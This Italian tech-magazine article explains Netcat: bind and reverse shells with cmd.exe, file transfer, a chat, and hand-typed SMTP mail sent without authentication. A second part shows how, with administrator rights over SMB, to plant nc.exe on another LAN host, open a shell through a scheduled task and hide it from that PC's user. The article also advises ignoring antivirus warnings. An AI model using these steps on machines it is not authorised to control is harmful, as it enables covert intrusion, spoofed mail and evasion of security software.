MegaLab.it
Stampa Articolo
Aperiodico gratuito di informatica
 
20090301102421_802794611_20090301102411_574699803_Network.png

Con Netcat controlli e gestisci al meglio i PC della tua rete

a cura di Luker94, Palpas
22/09/2009 - articolo
Tecniche Avanzate - Netcat è un semplice, quanto flessibile, programma gratuito a riga di comando, grazie al quale è possibile ottenere la shell di un sistema remoto, inviare e ricevere file e posta elettronica... e chi più ne ha più ne metta! Vediamo come funziona.

Netcat è un piccolo programma open source scritto in C e disponibile per diversi sistemi operativi, con cui possiamo compiere numerose operazioni sulla rete, tanto da essere considerato un po' il "coltellino svizzero" degli amministratori di rete.

In questo articolo vedremo in particolare come sia possibile controllare da remoto la shell di un PC (qualunque siano i sistemi operativi utilizzati) e trasferire da e verso di esso file.

Scarichiamo ed installiamo Netcat

Chiaramente è necessario che su entrambi i PC sia installato Netcat.

Possiamo scaricare la versione per Windows da questo indirizzo. Tenete presente che le versioni per gli altri sistemi operativi sono perfettamente compatibili, quindi potrete prendere senza problemi il controllo di un sistema Linux da una postazione Windows, ad esempio.

Scaricate il file in una cartella ed estraetene il contenuto, copiate il file nc.exe nella cartella Windows o Windows\system32 in modo che sia sempre disponibile da qualsiasi cartella voi lo avviate. Questa operazione deve essere compiuta su entrambi i PC).

ATTENZIONE: Alcuni antivirus identificano nc.exe come Virus (Hacking Tool)... in effetti Netcat è utilizzato anche dagli Hacker e Cracker, proprio per la sua flessibilità e semplicità d'uso. Vi sono comunque molti scenario leciti d'utilizzo, e l'applicazione, di per sé, non espone ad alcun rischio di sicurezza: ignorate quindi eventuali avvisi, ed aggiungete Netcat alla lista della applicazioni fidate.

I metodi

Esistono due metodi per ottenere la shell remota:

In entrambi i casi, non dimenticate di consentire l'accesso alla porta in uso anche sul vostro firewall.

Il metodo "Direct Shell"

Preparazione della macchina che si vuole controllare: Aprite il prompt dei comandi selezionando Start->Esegui e scrivendo cmd

A questo punto digitate il comando nc -L -p 43712 -e cmd.exe -vv così facendo mettete Netcat in attesa di connessioni sulla porta 43712 (ma va bene qualunque altra porta, a patto che sia libera, ovviamente).

Nc-attesa-shell.JPG

Sul vostro PC: Aprite anche qui il prompt dei comandi come prima, e digitate nc 192.168.1.180 43712, dove al posto di 192.168.1.180 ovviamente va l'indirizzo IP del sistema da controllare.

Entro qualche secondo dovrebbe comparirvi una schermata simile:

Nc-connessione-shell.JPGEd ecco ottenuto il controllo del PC. Da qui, è possibile esplorare l'hard disk, avviare programmi, spegnere il PC e via dicendo.

Il metodo "Reverse Shell"

Preparazione del PC locale: Aprite il prompt dei comandi come precedentemente descritto e digitate il comando nc -l -p 43712 -vv in modo tale da mettere il vostro PC in attesa.

Sul PC remoto: Sempre nel prompt dei comandi eseguite il comando nc -e cmd.exe 192.168.1.180 43712

Le schermate che compariranno sono del tutto simili a quelle viste precedentemente.

Trasferimento di File

Anche per il trasferimento di file esistono due metodi, uno Diretto e uno Inverso.

In quello Diretto il computer che invia il file si connette alla macchina che lo riceverà, mentre in quello Inverso avviene il contrario.

Per eseguire quanto descritto di seguito si da per scontato di aver già ottenuto il controllo della macchina remota, come descritto nella pagina precedente. Il trasferimento è comunque avviabile lavorando esattamente allo stesso modo su una delle due estremità.

Il metodo "Diretto"

Nella console del PC che deve ricevere il file va digitato il comando nc -l -p 9999 -vv > miofile.txt, che mette il PC in attesa sulla porta 9999 (Anche qui può essere scelta una qualunque altra porta libera).

Andiamo ora sulla console del computer che deve inviare il file (se non l'abbiamo apriamola con Start->Esegui->cmd->OK) e portiamoci nella cartella in cui si trova il file che vogliamo inviare, utilizzando il comando cd (per portarsi su System32 ad esempio usiamo cd C:\Windows\System32).

Da lì eseguiamo il comando nc 192.168.1.180 9999 -vv < miofile.txt

Non viene mostrato l'avanzamento dell'operazione, e neanche una conferma al suo termine, ma sarà sufficiente attendere un tempo adeguato alle dimensioni del file.

Quando pensiamo che il trasferimento abbia avuto fine chiudiamo la connessione premendo Ctrl+C sulla finestra della console locale.

Il metodo "Inverso"

Per eseguire il trasferimento col metodo inverso nella shell della macchina che deve inviare il file digitiamo il comando nc -l -p 9999 -vv < miofile.txt.

Così facendo abbiamo messo il PC in attesa di connessioni, e fatto in modo che quando ne riceverà una risponderà inviando il file miofile.txt.

In questa pagina sono descritti alcuni altri possibili utilizzi di Netcat.

Una semplice chat

È raro, ma talvolta può essere utile instaurare un canale di comunicazione simile ad una chat fra due computer, senza lasciare tracce sul PC e senza installare alcunchè.

Digitiamo su uno dei due computer nc -l -p 9999

Mentre sull'altro scriveremo il comando nc 192.168.1.1 9999 (Ovviamente al posto di 192.168.1.1 va sempre l'indirizzo IP dell'altro computer)

Da questo momento tutto ciò che viene scritto in una delle shell comparirà anche sull'altraChat.JPG

Inviare una Mail

Con Netcat possibile anche inviare una mail (volendo anche anonima).

Aprire come sempre il prompt dei comandi e scrivere il comando nc smtp.dominio.com 25 -vv dove al posto di smtp.dominio.com naturalmente va il vostro server di posta in uscita.

ATTENZIONE: A differenza di tutti gli esempi precedenti qui Netcat deve necessariamente connettersi alla porta 25 (ammesso che il vostro mail provider non ne abbia stabilita un'altra), in quanto è la porta standard per il protocollo SMTP.

Il server ci mostrerà un messaggio di benvenuto (codice 220).

Inviamo il comando HELO. Il server risponderà con un codice 250. A questo possiamo indicare il nostro indirizzo e-mail (NB: non è prevista alcuna autenticazione né validazione dell'indirizzo!)

MAIL FROM: io@dominio.it

Se tutto va bene il sever dovrebbe rispondere con un altro codice 250.

Ora indichiamo l'indirizzo e-mail del destinatario (e questo deve essere reale, ovviamente)

RCPT TO: prova@dominio.com

Se il server risponde ancora con un codice 250 possiamo procedere con l'invio della mail.

Inviamo il comando DATA, e il server dovrebbe rispondere con un codice 354, che significa praticamente "Tutto ok, invia pure"

Ora possiamo davvero iniziare a scrivre, e quando abbiamo finito premiamo Invio Punto (.) e di nuovo Invio.

La mail è stata aggiunta alla coda e verrà inviata al più presto (cioè probabilmente dopo qualche istante).

Possiamo disconnetterci col comando QUIT.

Smtp.JPG

Conclusioni

Come abbiamo visto Netcat, per quanto piccolo e semplice, è davvero pieno di potenzialità basta saperle sfruttare. Cosa che può tornare utile in diverse situazioni.

Quando accediamo alle condivisioni di un altro PC in LAN (\\IndirizzoPC), il protocollo SMB (ossia Condivisione file e stampanti per Reti Microsoft) ci permette di esplorare il contenuto delle cartelle condivise e di copiare/aprire gli oggetti che sono condivisi.

Con questo articolo voglio spiegarvi un trucco per poter non solo esplorare le risorse condivise, ma eseguire anche comandi e avviare programmi su un altro host nella propria LAN, sfruttando lo stesso protocollo.

Beh... fino a qui parecchi possono pensare che la cosa sia simile a VNC o Desktop Remoto, ma il vantaggio di questo procedimento sta nel fatto che non è necessario né installare né configurare nulla sul PC da controllare: in parole povere si fa tutto "da remoto", senza lasciar traccia ed in maniera più "silenziosa" del Desktop Remoto.

L'unica cosa necessaria sono i privilegi di Amministratore.

Cominciamo accedendo alle risorse condivise dell'host da controllare: ammettiamo che il suo indirizzo sia 192.168.1.3, quindi in Start - Esegui scriveremo \\192.168.1.3.

Immagine predefinita per immagine non trovata durante l'importazione

Visualizzeremo ora le cartelle condivise dell'host, apriamo quella di nome Operazioni Pianificate.

Clicchiamo con il pulsante destro su un punto vuoto della cartella e scegliamo Nuovo.

Aquesto punto verrà creato un nuovo file; apriamolo e avremo di fronte questa finestra:

Immagine predefinita per immagine non trovata durante l'importazione

Ora sul campo Esegui scriveremo il nostro comando da impartire o l'applicazione da aprire, sul campo Esegui come, assicuratevi che ci sia scritto il nome dell'host \ utente di quell’host.

Sinceriamoci che sia abilitata l'opzione Attivata

Ora spostiamoci sulla scheda Pianificazione:

Immagine predefinita per immagine non trovata durante l'importazione

Impostiamo la pianificazione in Una sola volta e selezioniamo il giorno odierno; per quanto riguarda l'ora di avvio dobbiamo impostarla un minuto avanti all'orario corrente (così il comando verrà eseguito tra un minuto), clicchiamo su Applica, poi OK ed il gioco è fatto: tra un minuto l'host eseguirà l'operazione da noi impartita e soprattutto l'operazione verrà eseguita a nome dell'altro utente.

Creiamoci direttamente una Shell

Oltre ad eseguire un comando, grazie a questo trucco possiamo anche aprire una finestra di comando: per farlo ci viene in aiuto il buon vecchio Netcat. Scaricabile da qui

Scompattiamo l'archivio e copiamo il file nc.exe nella cartella Windows dell'host, tale cartella è sempre condivisa per scopi amministrativi e si può raggiungere così: \\192.168.1.3\c$\Windows

Ovviamente l'indirizzo IP è quello del vostro host da controllare.

Ora torniamo nella cartella Operazioni Pianificate dell'host, creiamo una nuova operazione come prima, ma nel comando da eseguire scriviamo nc -L -p 2224 -e cmd.exe .

Immagine predefinita per immagine non trovata durante l'importazione

Questo comando impone a Netcat di mettere in ascolto cmd.exe sulla porta 2224: in questo modo, noi potremo connetterci a tale porta con un terminale testuale (Telnet, PuTTY.. ecc). Ci risponderà cmd.exe, e potremmo quindi eseguire i comandi dos nell'host remoto.

Ricordatevi di impostare l'orario dell'operazione pianificata un minuto avanti all'orario corrente; clicchiamo su Applica, OK.

(Aspettiamo un minuto, il tempo che l'host esegua l'operazione....) e come potete vedere nell'immagine qua sotto, collegandosi alla porta 2224 dell'host avremo un accesso diretto ad esso tramite interfaccia a linea di comando; potete quindi impartire i comandi testuali come se vi trovaste fisicamente di fronte al terminale remoto

Immagine predefinita per immagine non trovata durante l'importazione

Però Netcat nell'host non viene eseguito in modalità nascosta: alla sua apertura compare una finestra, e questo potrebbe risultare scomodo, specialmente se in quel PC ci sta lavorando un utente.

Per eseguire Netcat in modalità nascosta possiamo realizzare un Launcher, ossia un programma che esegua Netcat in maniera invisibile; ovviamente nell'operazione pianificata dovremmo impostare l'esecuzione del Launcher (e non direttamente Netcat)

Il Launcher si può scrivere in tre righe di Visual Basic, utilizzando l'istruzione Shell:

Creiamo l'eseguibile, denominiamolo ncLauncher.exe e copiamolo nella cartella Windows dell'host remoto (dove avevamo precedentemente posizionato nc.exe).

Ora andiamo a creare la nostra operazione pianificata nella stessa maniera di prima, ma come comando da eseguire impostiamo ncLauncher.exe. (Ricordiamoci ancora di impostare l'esecuzione un minuto avanti all'orario corrente).

Così viene eseguito il Launcher (in modalità nascosta) che a sua volta esegue Netcat (anch'esso in modalità nascosta). E noi abbiamo la nostra shell "spawned" nascosta senza disturbare l'utente dell'host.

MegaLab.it rispetta la tua privacy. Per esercitare i tuoi diritti scrivi a: privacy@megalab.it .

Copyright 2008 MegaLab.it - Tutti i diritti sono riservati